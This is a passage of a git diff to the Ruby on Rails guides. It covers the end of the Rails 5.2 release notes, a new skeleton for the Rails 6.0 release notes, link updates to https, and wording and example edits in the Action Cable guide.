+ ([Commit](https://github.com/rails/rails/commit/d6b779ecebe57f6629352c34bfd6c442ac8fba0e))
+
+* Remove deprecated arguments from `#verify!`.
+ ([Commit](https://github.com/rails/rails/commit/9c6ee1bed0292fc32c23dc1c68951ae64fc510be))
+
+* Remove deprecated configuration `.error_on_ignored_order_or_limit`.
+ ([Commit](https://github.com/rails/rails/commit/e1066f450d1a99c9a0b4d786b202e2ca82a4c3b3))
+
+* Remove deprecated method `#scope_chain`.
+ ([Commit](https://github.com/rails/rails/commit/ef7784752c5c5efbe23f62d2bbcc62d4fd8aacab))
+
+* Remove deprecated method `#sanitize_conditions`.
+ ([Commit](https://github.com/rails/rails/commit/8f5413b896099f80ef46a97819fe47a820417bc2))
+
+### Deprecations
+
+* Deprecate `supports_statement_cache?`.
+ ([Pull Request](https://github.com/rails/rails/pull/28938))
+
+* Deprecate passing arguments and block at the same time to
+ `count` and `sum` in `ActiveRecord::Calculations`.
+ ([Pull Request](https://github.com/rails/rails/pull/29262))
+
+* Deprecate delegating to `arel` in `Relation`.
+ ([Pull Request](https://github.com/rails/rails/pull/29619))
+
+* Deprecate `set_state` method in `TransactionState`.
+ ([Commit](https://github.com/rails/rails/commit/608ebccf8f6314c945444b400a37c2d07f21b253))
+
+* Deprecate `expand_hash_conditions_for_aggregates` without replacement.
+ ([Commit](https://github.com/rails/rails/commit/7ae26885d96daee3809d0bd50b1a440c2f5ffb69))
+
+### Notable changes
+
+* When calling the dynamic fixture accessor method with no arguments, it now
+ returns all fixtures of this type. Previously this method always returned
+ an empty array.
+ ([Pull Request](https://github.com/rails/rails/pull/28692))
+
+* Fix inconsistency with changed attributes when overriding
+ Active Record attribute reader.
+ ([Pull Request](https://github.com/rails/rails/pull/28661))
+
+* Support Descending Indexes for MySQL.
+ ([Pull Request](https://github.com/rails/rails/pull/28773))
+
+* Fix `bin/rails db:forward` first migration.
+ ([Commit](https://github.com/rails/rails/commit/b77d2aa0c336492ba33cbfade4964ba0eda3ef84))
+
+* Raise error `UnknownMigrationVersionError` on the movement of migrations
+ when the current migration does not exist.
+ ([Commit](https://github.com/rails/rails/commit/bb9d6eb094f29bb94ef1f26aa44f145f17b973fe))
+
+* Respect `SchemaDumper.ignore_tables` in rake tasks for
+ databases structure dump.
+ ([Pull Request](https://github.com/rails/rails/pull/29077))
+
+* Add `ActiveRecord::Base#cache_version` to support recyclable cache keys via
+ the new versioned entries in `ActiveSupport::Cache`. This also means that
+ `ActiveRecord::Base#cache_key` will now return a stable key that
+ does not include a timestamp any more.
+ ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+* Prevent creation of bind param if casted value is nil.
+ ([Pull Request](https://github.com/rails/rails/pull/29282))
+
+* Use bulk INSERT to insert fixtures for better performance.
+ ([Pull Request](https://github.com/rails/rails/pull/29504))
+
+* Merging two relations representing nested joins no longer transforms
+ the joins of the merged relation into LEFT OUTER JOIN.
+ ([Pull Request](https://github.com/rails/rails/pull/27063))
+
+* Fix transactions to apply state to child transactions.
+ Previously, if you had a nested transaction and the outer transaction was
+ rolledback, the record from the inner transaction would still be marked
+ as persisted. It was fixed by applying the state of the parent
+ transaction to the child transaction when the parent transaction is
+ rolledback. This will correctly mark records from the inner transaction
+ as not persisted.
+ ([Commit](https://github.com/rails/rails/commit/0237da287eb4c507d10a0c6d94150093acc52b03))
+
+* Fix eager loading/preloading association with scope including joins.
+ ([Pull Request](https://github.com/rails/rails/pull/29413))
+
+* Prevent errors raised by `sql.active_record` notification subscribers
+ from being converted into `ActiveRecord::StatementInvalid` exceptions.
+ ([Pull Request](https://github.com/rails/rails/pull/29692))
+
+* Skip query caching when working with batches of records
+ (`find_each`, `find_in_batches`, `in_batches`).
+ ([Commit](https://github.com/rails/rails/commit/b83852e6eed5789b23b13bac40228e87e8822b4d))
+
+* Change sqlite3 boolean serialization to use 1 and 0.
+ SQLite natively recognizes 1 and 0 as true and false, but does not natively
+ recognize 't' and 'f' as was previously serialized.
+ ([Pull Request](https://github.com/rails/rails/pull/29699))
+
+* Values constructed using multi-parameter assignment will now use the
+ post-type-cast value for rendering in single-field form inputs.
+ ([Commit](https://github.com/rails/rails/commit/1519e976b224871c7f7dd476351930d5d0d7faf6))
+
+* `ApplicationRecord` is no longer generated when generating models. If you
+ need to generate it, it can be created with `rails g application_record`.
+ ([Pull Request](https://github.com/rails/rails/pull/29916))
+
+* `Relation#or` now accepts two relations who have different values for
+ `references` only, as `references` can be implicitly called by `where`.
+ ([Commit](https://github.com/rails/rails/commit/ea6139101ccaf8be03b536b1293a9f36bc12f2f7))
+
+* When using `Relation#or`, extract the common conditions and
+ put them before the OR condition.
+ ([Pull Request](https://github.com/rails/rails/pull/29950))
+
+* Add `binary` fixture helper method.
+ ([Pull Request](https://github.com/rails/rails/pull/30073))
+
+* Automatically guess the inverse associations for STI.
+ ([Pull Request](https://github.com/rails/rails/pull/23425))
+
+* Add new error class `LockWaitTimeout` which will be raised
+ when lock wait timeout exceeded.
+ ([Pull Request](https://github.com/rails/rails/pull/30360))
+
+* Update payload names for `sql.active_record` instrumentation to be
+ more descriptive.
+ ([Pull Request](https://github.com/rails/rails/pull/30619))
+
+* Use given algorithm while removing index from database.
+ ([Pull Request](https://github.com/rails/rails/pull/24199))
+
+* Passing a `Set` to `Relation#where` now behaves the same as passing
+ an array.
+ ([Commit](https://github.com/rails/rails/commit/9cf7e3494f5bd34f1382c1ff4ea3d811a4972ae2))
+
+* PostgreSQL `tsrange` now preserves subsecond precision.
+ ([Pull Request](https://github.com/rails/rails/pull/30725))
+
+* Raises when calling `lock!` in a dirty record.
+ ([Commit](https://github.com/rails/rails/commit/63cf15877bae859ff7b4ebaf05186f3ca79c1863))
+
+* Fixed a bug where column orders for an index weren't written to
+ `db/schema.rb` when using the sqlite adapter.
+ ([Pull Request](https://github.com/rails/rails/pull/30970))
+
+* Fix `bin/rails db:migrate` with specified `VERSION`.
+ `bin/rails db:migrate` with empty VERSION behaves as without `VERSION`.
+ Check a format of `VERSION`: Allow a migration version number
+ or name of a migration file. Raise error if format of `VERSION` is invalid.
+ Raise error if target migration doesn't exist.
+ ([Pull Request](https://github.com/rails/rails/pull/30714))
+
+* Add new error class `StatementTimeout` which will be raised
+ when statement timeout exceeded.
+ ([Pull Request](https://github.com/rails/rails/pull/31129))
+
+* `update_all` will now pass its values to `Type#cast` before passing them to
+ `Type#serialize`. This means that `update_all(foo: 'true')` will properly
+ persist a boolean.
+ ([Commit](https://github.com/rails/rails/commit/68fe6b08ee72cc47263e0d2c9ff07f75c4b42761))
+
+* Require raw SQL fragments to be explicitly marked when used in
+ relation query methods.
+ ([Commit](https://github.com/rails/rails/commit/a1ee43d2170dd6adf5a9f390df2b1dde45018a48),
+ [Commit](https://github.com/rails/rails/commit/e4a921a75f8702a7dbaf41e31130fe884dea93f9))
+
+* Add `#up_only` to database migrations for code that is only relevant when
+ migrating up, e.g. populating a new column.
+ ([Pull Request](https://github.com/rails/rails/pull/31082))
+
+* Add new error class `QueryCanceled` which will be raised
+ when canceling statement due to user request.
+ ([Pull Request](https://github.com/rails/rails/pull/31235))
+
+* Don't allow scopes to be defined which conflict with instance methods
+ on `Relation`.
+ ([Pull Request](https://github.com/rails/rails/pull/31179))
+
+* Add support for PostgreSQL operator classes to `add_index`.
+ ([Pull Request](https://github.com/rails/rails/pull/19090))
+
+* Log database query callers.
+ ([Pull Request](https://github.com/rails/rails/pull/26815),
+ [Pull Request](https://github.com/rails/rails/pull/31519),
+ [Pull Request](https://github.com/rails/rails/pull/31690))
+
+* Undefine attribute methods on descendants when resetting column information.
+ ([Pull Request](https://github.com/rails/rails/pull/31475))
+
+* Using subselect for `delete_all` with `limit` or `offset`.
+ ([Commit](https://github.com/rails/rails/commit/9e7260da1bdc0770cf4ac547120c85ab93ff3d48))
+
+* Fixed inconsistency with `first(n)` when used with `limit()`.
+ The `first(n)` finder now respects the `limit()`, making it consistent
+ with `relation.to_a.first(n)`, and also with the behavior of `last(n)`.
+ ([Pull Request](https://github.com/rails/rails/pull/27597))
+
+* Fix nested `has_many :through` associations on unpersisted parent instances.
+ ([Commit](https://github.com/rails/rails/commit/027f865fc8b262d9ba3ee51da3483e94a5489b66))
+
+* Take into account association conditions when deleting through records.
+ ([Commit](https://github.com/rails/rails/commit/ae48c65e411e01c1045056562319666384bb1b63))
+
+* Don't allow destroyed object mutation after `save` or `save!` is called.
+ ([Commit](https://github.com/rails/rails/commit/562dd0494a90d9d47849f052e8913f0050f3e494))
+
+* Fix relation merger issue with `left_outer_joins`.
+ ([Pull Request](https://github.com/rails/rails/pull/27860))
+
+* Support for PostgreSQL foreign tables.
+ ([Pull Request](https://github.com/rails/rails/pull/31549))
+
+* Clear the transaction state when an Active Record object is duped.
+ ([Pull Request](https://github.com/rails/rails/pull/31751))
+
+* Fix not expanded problem when passing an Array object as argument
+ to the where method using `composed_of` column.
+ ([Pull Request](https://github.com/rails/rails/pull/31724))
+
+* Make `reflection.klass` raise if `polymorphic?` not to be misused.
+ ([Commit](https://github.com/rails/rails/commit/63fc1100ce054e3e11c04a547cdb9387cd79571a))
+
+* Fix `#columns_for_distinct` of MySQL and PostgreSQL to make
+ `ActiveRecord::FinderMethods#limited_ids_for` use correct primary key values
+ even if `ORDER BY` columns include other table's primary key.
+ ([Commit](https://github.com/rails/rails/commit/851618c15750979a75635530200665b543561a44))
+
+* Fix `dependent: :destroy` issue for has_one/belongs_to relationship where
+ the parent class was getting deleted when the child was not.
+ ([Commit](https://github.com/rails/rails/commit/b0fc04aa3af338d5a90608bf37248668d59fc881))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Notable changes
+
+* Fix methods `#keys`, `#values` in `ActiveModel::Errors`.
+ Change `#keys` to only return the keys that don't have empty messages.
+ Change `#values` to only return the not empty values.
+ ([Pull Request](https://github.com/rails/rails/pull/28584))
+
+* Add method `#merge!` for `ActiveModel::Errors`.
+ ([Pull Request](https://github.com/rails/rails/pull/29714))
+
+* Allow passing a Proc or Symbol to length validator options.
+ ([Pull Request](https://github.com/rails/rails/pull/30674))
+
+* Execute `ConfirmationValidator` validation when `_confirmation`'s value
+ is `false`.
+ ([Pull Request](https://github.com/rails/rails/pull/31058))
+
+* Models using the attributes API with a proc default can now be marshalled.
+ ([Commit](https://github.com/rails/rails/commit/0af36c62a5710e023402e37b019ad9982e69de4b))
+
+* Do not lose all multiple `:includes` with options in serialization.
+ ([Commit](https://github.com/rails/rails/commit/853054bcc7a043eea78c97e7705a46abb603cc44))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+* Remove deprecated `:if` and `:unless` string filter for callbacks.
+ ([Commit](https://github.com/rails/rails/commit/c792354adcbf8c966f274915c605c6713b840548))
+
+* Remove deprecated `halt_callback_chains_on_return_false` option.
+ ([Commit](https://github.com/rails/rails/commit/19fbbebb1665e482d76cae30166b46e74ceafe29))
+
+### Deprecations
+
+* Deprecate `Module#reachable?` method.
+ ([Pull Request](https://github.com/rails/rails/pull/30624))
+
+* Deprecate `secrets.secret_token`.
+ ([Commit](https://github.com/rails/rails/commit/fbcc4bfe9a211e219da5d0bb01d894fcdaef0a0e))
+
+### Notable changes
+
+* Add `fetch_values` for `HashWithIndifferentAccess`.
+ ([Pull Request](https://github.com/rails/rails/pull/28316))
+
+* Add support for `:offset` to `Time#change`.
+ ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))
+
+* Add support for `:offset` and `:zone`
+ to `ActiveSupport::TimeWithZone#change`.
+ ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))
+
+* Pass gem name and deprecation horizon to deprecation notifications.
+ ([Pull Request](https://github.com/rails/rails/pull/28800))
+
+* Add support for versioned cache entries. This enables the cache stores to
+ recycle cache keys, greatly saving on storage in cases with frequent churn.
+ Works together with the separation of `#cache_key` and `#cache_version`
+ in Active Record and its use in Action Pack's fragment caching.
+ ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+* Add `ActiveSupport::CurrentAttributes` to provide a thread-isolated
+ attributes singleton. Primary use case is keeping all the per-request
+ attributes easily available to the whole system.
+ ([Pull Request](https://github.com/rails/rails/pull/29180))
+
+* `#singularize` and `#pluralize` now respect uncountables for
+ the specified locale.
+ ([Commit](https://github.com/rails/rails/commit/352865d0f835c24daa9a2e9863dcc9dde9e5371a))
+
+* Add default option to `class_attribute`.
+ ([Pull Request](https://github.com/rails/rails/pull/29270))
+
+* Add `Date#prev_occurring` and `Date#next_occurring` to return
+ specified next/previous occurring day of week.
+ ([Pull Request](https://github.com/rails/rails/pull/26600))
+
+* Add default option to module and class attribute accessors.
+ ([Pull Request](https://github.com/rails/rails/pull/29294))
+
+* Cache: `write_multi`.
+ ([Pull Request](https://github.com/rails/rails/pull/29366))
+
+* Default `ActiveSupport::MessageEncryptor` to use AES 256 GCM encryption.
+ ([Pull Request](https://github.com/rails/rails/pull/29263))
+
+* Add `freeze_time` helper which freezes time to `Time.now` in tests.
+ ([Pull Request](https://github.com/rails/rails/pull/29681))
+
+* Make the order of `Hash#reverse_merge!` consistent
+ with `HashWithIndifferentAccess`.
+ ([Pull Request](https://github.com/rails/rails/pull/28077))
+
+* Add purpose and expiry support to `ActiveSupport::MessageVerifier` and
+ `ActiveSupport::MessageEncryptor`.
+ ([Pull Request](https://github.com/rails/rails/pull/29892))
+
+* Update `String#camelize` to provide feedback when wrong option is passed.
+ ([Pull Request](https://github.com/rails/rails/pull/30039))
+
+* `Module#delegate_missing_to` now raises `DelegationError` if target is nil,
+ similar to `Module#delegate`.
+ ([Pull Request](https://github.com/rails/rails/pull/30191))
+
+* Add `ActiveSupport::EncryptedFile` and
+ `ActiveSupport::EncryptedConfiguration`.
+ ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+* Add `config/credentials.yml.enc` to store production app secrets.
+ ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+* Add key rotation support to `MessageEncryptor` and `MessageVerifier`.
+ ([Pull Request](https://github.com/rails/rails/pull/29716))
+
+* Return an instance of `HashWithIndifferentAccess` from
+ `HashWithIndifferentAccess#transform_keys`.
+ ([Pull Request](https://github.com/rails/rails/pull/30728))
+
+* `Hash#slice` now falls back to Ruby 2.5+'s built-in definition if defined.
+ ([Commit](https://github.com/rails/rails/commit/01ae39660243bc5f0a986e20f9c9bff312b1b5f8))
+
+* `IO#to_json` now returns the `to_s` representation, rather than
+ attempting to convert to an array. This fixes a bug where `IO#to_json`
+ would raise an `IOError` when called on an unreadable object.
+ ([Pull Request](https://github.com/rails/rails/pull/30953))
+
+* Add same method signature for `Time#prev_day` and `Time#next_day`
+ in accordance with `Date#prev_day`, `Date#next_day`.
+ Allows pass argument for `Time#prev_day` and `Time#next_day`.
+ ([Commit](https://github.com/rails/rails/commit/61ac2167eff741bffb44aec231f4ea13d004134e))
+
+* Add same method signature for `Time#prev_month` and `Time#next_month`
+ in accordance with `Date#prev_month`, `Date#next_month`.
+ Allows pass argument for `Time#prev_month` and `Time#next_month`.
+ ([Commit](https://github.com/rails/rails/commit/f2c1e3a793570584d9708aaee387214bc3543530))
+
+* Add same method signature for `Time#prev_year` and `Time#next_year`
+ in accordance with `Date#prev_year`, `Date#next_year`.
+ Allows pass argument for `Time#prev_year` and `Time#next_year`.
+ ([Commit](https://github.com/rails/rails/commit/ee9d81837b5eba9d5ec869ae7601d7ffce763e3e))
+
+* Fix acronym support in `humanize`.
+ ([Commit](https://github.com/rails/rails/commit/0ddde0a8fca6a0ca3158e3329713959acd65605d))
+
+* Allow `Range#include?` on TWZ ranges.
+ ([Pull Request](https://github.com/rails/rails/pull/31081))
+
+* Cache: Enable compression by default for values > 1kB.
+ ([Pull Request](https://github.com/rails/rails/pull/31147))
+
+* Redis cache store.
+ ([Pull Request](https://github.com/rails/rails/pull/31134),
+ [Pull Request](https://github.com/rails/rails/pull/31866))
+
+* Handle `TZInfo::AmbiguousTime` errors.
+ ([Pull Request](https://github.com/rails/rails/pull/31128))
+
+* MemCacheStore: Support expiring counters.
+ ([Commit](https://github.com/rails/rails/commit/b22ee64b5b30c6d5039c292235e10b24b1057f6d))
+
+* Make `ActiveSupport::TimeZone.all` return only time zones that are in
+ `ActiveSupport::TimeZone::MAPPING`.
+ ([Pull Request](https://github.com/rails/rails/pull/31176))
+
+* Changed default behaviour of `ActiveSupport::SecurityUtils.secure_compare`,
+ to make it not leak length information even for variable length string.
+ Renamed old `ActiveSupport::SecurityUtils.secure_compare` to
+ `fixed_length_secure_compare`, and started raising `ArgumentError` in
+ case of length mismatch of passed strings.
+ ([Pull Request](https://github.com/rails/rails/pull/24510))
+
+* Use SHA-1 to generate non-sensitive digests, such as the ETag header.
+ ([Pull Request](https://github.com/rails/rails/pull/31289),
+ [Pull Request](https://github.com/rails/rails/pull/31651))
+
+* `assert_changes` will always assert that the expression changes,
+ regardless of `from:` and `to:` argument combinations.
+ ([Pull Request](https://github.com/rails/rails/pull/31011))
+
+* Add missing instrumentation for `read_multi`
+ in `ActiveSupport::Cache::Store`.
+ ([Pull Request](https://github.com/rails/rails/pull/30268))
+
+* Support hash as first argument in `assert_difference`.
+ This allows to specify multiple numeric differences in the same assertion.
+ ([Pull Request](https://github.com/rails/rails/pull/31600))
+
+* Caching: MemCache and Redis `read_multi` and `fetch_multi` speedup.
+ Read from the local in-memory cache before consulting the backend.
+ ([Commit](https://github.com/rails/rails/commit/a2b97e4ffef971607a1be8fc7909f099b6840f36))
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Notable changes
+
+* Allow block to be passed to `ActiveJob::Base.discard_on` to allow custom
+ handling of discard jobs.
+ ([Pull Request](https://github.com/rails/rails/pull/30622))
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+* Add
+ [Threading and Code Execution in Rails](threading_and_code_execution.html)
+ Guide.
+ ([Pull Request](https://github.com/rails/rails/pull/27494))
+
+* Add [Active Storage Overview](active_storage_overview.html) Guide.
+ ([Pull Request](https://github.com/rails/rails/pull/31037))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]: https://github.com/rails/rails/blob/5-2-stable/railties/CHANGELOG.md
+[action-pack]: https://github.com/rails/rails/blob/5-2-stable/actionpack/CHANGELOG.md
+[action-view]: https://github.com/rails/rails/blob/5-2-stable/actionview/CHANGELOG.md
+[action-mailer]: https://github.com/rails/rails/blob/5-2-stable/actionmailer/CHANGELOG.md
+[action-cable]: https://github.com/rails/rails/blob/5-2-stable/actioncable/CHANGELOG.md
+[active-record]: https://github.com/rails/rails/blob/5-2-stable/activerecord/CHANGELOG.md
+[active-model]: https://github.com/rails/rails/blob/5-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-2-stable/activesupport/CHANGELOG.md
+[active-job]: https://github.com/rails/rails/blob/5-2-stable/activejob/CHANGELOG.md
+[guides]: https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md
diff --git a/guides/source/6_0_release_notes.md b/guides/source/6_0_release_notes.md
new file mode 100644
index 0000000000..f3ed21dc45
--- /dev/null
+++ b/guides/source/6_0_release_notes.md
@@ -0,0 +1,175 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
+Ruby on Rails 6.0 Release Notes
+===============================
+
+Highlights in Rails 6.0:
+
+* Parallel Testing
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/6-0-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 6.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.2 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 6.0. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-2-to-rails-6-0)
+guide.
+
+Major Features
+--------------
+
+### Parallel Testing
+
+[Pull Request](https://github.com/rails/rails/pull/31900)
+
+[Parallel Testing](testing.html#parallel-testing) allows you to parallelize your
+test suite. While forking processes is the default method, threading is
+supported as well. Running tests in parallel reduces the time it takes
+your entire test suite to run.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Storage
+--------------
+
+Please refer to the [Changelog][active-storage] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+### Notable changes
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]: https://github.com/rails/rails/blob/6-0-stable/railties/CHANGELOG.md
+[action-pack]: https://github.com/rails/rails/blob/6-0-stable/actionpack/CHANGELOG.md
+[action-view]: https://github.com/rails/rails/blob/6-0-stable/actionview/CHANGELOG.md
+[action-mailer]: https://github.com/rails/rails/blob/6-0-stable/actionmailer/CHANGELOG.md
+[action-cable]: https://github.com/rails/rails/blob/6-0-stable/actioncable/CHANGELOG.md
+[active-record]: https://github.com/rails/rails/blob/6-0-stable/activerecord/CHANGELOG.md
+[active-storage]: https://github.com/rails/rails/blob/6-0-stable/activestorage/CHANGELOG.md
+[active-model]: https://github.com/rails/rails/blob/6-0-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/6-0-stable/activesupport/CHANGELOG.md
+[active-job]: https://github.com/rails/rails/blob/6-0-stable/activejob/CHANGELOG.md
+[guides]: https://github.com/rails/rails/blob/6-0-stable/guides/CHANGELOG.md
diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb
index 5bd1ea4d22..bf00ee08e5 100644
--- a/guides/source/_welcome.html.erb
+++ b/guides/source/_welcome.html.erb
@@ -6,19 +6,24 @@
</p>
<p>
If you are looking for the ones for the stable version, please check
- <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
+ <a href="https://guides.rubyonrails.org">https://guides.rubyonrails.org</a> instead.
</p>
<% else %>
<p>
- These are the new guides for Rails 5.0 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
+ These are the new guides for Rails 5.2 based on <a href="https://github.com/rails/rails/tree/<%= @version %>"><%= @version %></a>.
These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.
</p>
<% end %>
<p>
The guides for earlier releases:
-<a href="http://guides.rubyonrails.org/v4.2/">Rails 4.2</a>,
-<a href="http://guides.rubyonrails.org/v4.1/">Rails 4.1</a>,
-<a href="http://guides.rubyonrails.org/v4.0/">Rails 4.0</a>,
-<a href="http://guides.rubyonrails.org/v3.2/">Rails 3.2</a>, and
-<a href="http://guides.rubyonrails.org/v2.3/">Rails 2.3</a>.
+<a href="https://guides.rubyonrails.org/v5.2/">Rails 5.2</a>,
+<a href="https://guides.rubyonrails.org/v5.1/">Rails 5.1</a>,
+<a href="https://guides.rubyonrails.org/v5.0/">Rails 5.0</a>,
+<a href="https://guides.rubyonrails.org/v4.2/">Rails 4.2</a>,
+<a href="https://guides.rubyonrails.org/v4.1/">Rails 4.1</a>,
+<a href="https://guides.rubyonrails.org/v4.0/">Rails 4.0</a>,
+<a href="https://guides.rubyonrails.org/v3.2/">Rails 3.2</a>,
+<a href="https://guides.rubyonrails.org/v3.1/">Rails 3.1</a>,
+<a href="https://guides.rubyonrails.org/v3.0/">Rails 3.0</a>, and
+<a href="https://guides.rubyonrails.org/v2.3/">Rails 2.3</a>.
</p>
diff --git a/guides/source/action_cable_overview.md b/guides/source/action_cable_overview.md
index e929945dd0..14c859994c 100644
--- a/guides/source/action_cable_overview.md
+++ b/guides/source/action_cable_overview.md
@@ -1,12 +1,14 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
+
Action Cable Overview
=====================
-In this guide you will learn how Action Cable works and how to use WebSockets to
+In this guide, you will learn how Action Cable works and how to use WebSockets to
incorporate real-time features into your Rails application.
After reading this guide, you will know:
-* What Action Cable is and its integration on backend and frontend
+* What Action Cable is and its integration backend and frontend
* How to setup Action Cable
* How to setup channels
* Deployment and Architecture setup for running Action Cable
@@ -64,8 +66,8 @@ module ApplicationCable
private
def find_verified_user
- if current_user = User.find_by(id: cookies.signed[:user_id])
- current_user
+ if verified_user = User.find_by(id: cookies.encrypted[:user_id])
+ verified_user
else
reject_unauthorized_connection
end
@@ -129,7 +131,7 @@ subscriptions based on an identifier sent by the cable consumer.
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
# Called when the consumer has successfully
- # become a subscriber of this channel.
+ # become a subscriber to this channel.
def subscribed
end
end
@@ -225,7 +227,7 @@ A *broadcasting* is a pub/sub link where anything transmitted by a publisher
is routed directly to the channel subscribers who are streaming that named
broadcasting. Each channel can be streaming zero or more broadcastings.
-Broadcastings are purely an online queue and time dependent. If a consumer is
+Broadcastings are purely an online queue and time-dependent. If a consumer is
not streaming (subscribed to a given channel), they'll not get the broadcast
should they connect later.
@@ -515,8 +517,8 @@ user. For a user with an ID of 1, the broadcasting name would be
The channel has been instructed to stream everything that arrives at
`web_notifications:1` directly to the client by invoking the `received`
callback. The data passed as argument is the hash sent as the second parameter
-to the server-side broadcast call, JSON encoded for the trip across the wire,
-and unpacked for the data argument arriving to `received`.
+to the server-side broadcast call, JSON encoded for the trip across the wire
+and unpacked for the data argument arriving as `received`.
### More Complete Examples
@@ -555,9 +557,8 @@ The async adapter is intended for development/testing and should not be used in
##### Redis Adapter
-Action Cable contains two Redis adapters: "normal" Redis and Evented Redis. Both
-of the adapters require users to provide a URL pointing to the Redis server.
-Additionally, a channel_prefix may be provided to avoid channel name collisions
+The Redis adapter requires users to provide a URL pointing to the Redis server.
+Additionally, a `channel_prefix` may be provided to avoid channel name collisions
when using the same Redis server for multiple applications. See the [Redis PubSub documentation](https://redis.io/topics/pubsub#database-amp-scoping) for more details.
##### PostgreSQL Adapter
@@ -570,7 +571,7 @@ This may change in the future. [#27214](https://github.com/rails/rails/issues/27
Action Cable will only accept requests from specified origins, which are
passed to the server config as an array. The origins can be instances of
-strings or regular expressions, against which a check for match will be performed.
+strings or regular expressions, against which a check for the match will be performed.
```ruby
config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}]
@@ -593,7 +594,7 @@ environment configuration files.
### Other Configurations
-The other common option to configure, is the log tags applied to the
+The other common option to configure is the log tags applied to the
per-connection logger. Here's an example that uses
the user account id if available, else "no-account" while tagging:
@@ -608,7 +609,7 @@ config.action_cable.log_tags = [
For a full list of all configuration options, see the
`ActionCable::Server::Configuration` class.
-Also note that your server must provide at least the same number of database
+Also, note that your server must provide at least the same number of database
connections as you have workers. The default worker pool size is set to 4, so
that means you have to make at least that available. You can change that in
`config/database.yml` through the `pool` attribute.
@@ -669,8 +670,8 @@ authentication. You can see one way of doing that with Devise in this [article](
## Dependencies
Action Cable provides a subscription adapter interface to process its
-pubsub internals. By default, asynchronous, inline, PostgreSQL, evented
-Redis, and non-evented Redis adapters are included. The default adapter
+pubsub internals. By default, asynchronous, inline, PostgreSQL, and Redis
+adapters are included. The default adapter
in new Rails applications is the asynchronous (`async`) adapter.
The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby),
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 40eb838d32..43bc9306ce 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Action Controller Overview
==========================
@@ -21,9 +21,9 @@ After reading this guide, you will know:
What Does a Controller Do?
--------------------------
-Action Controller is the C in MVC. After the router has determined which controller to use for a request, the controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
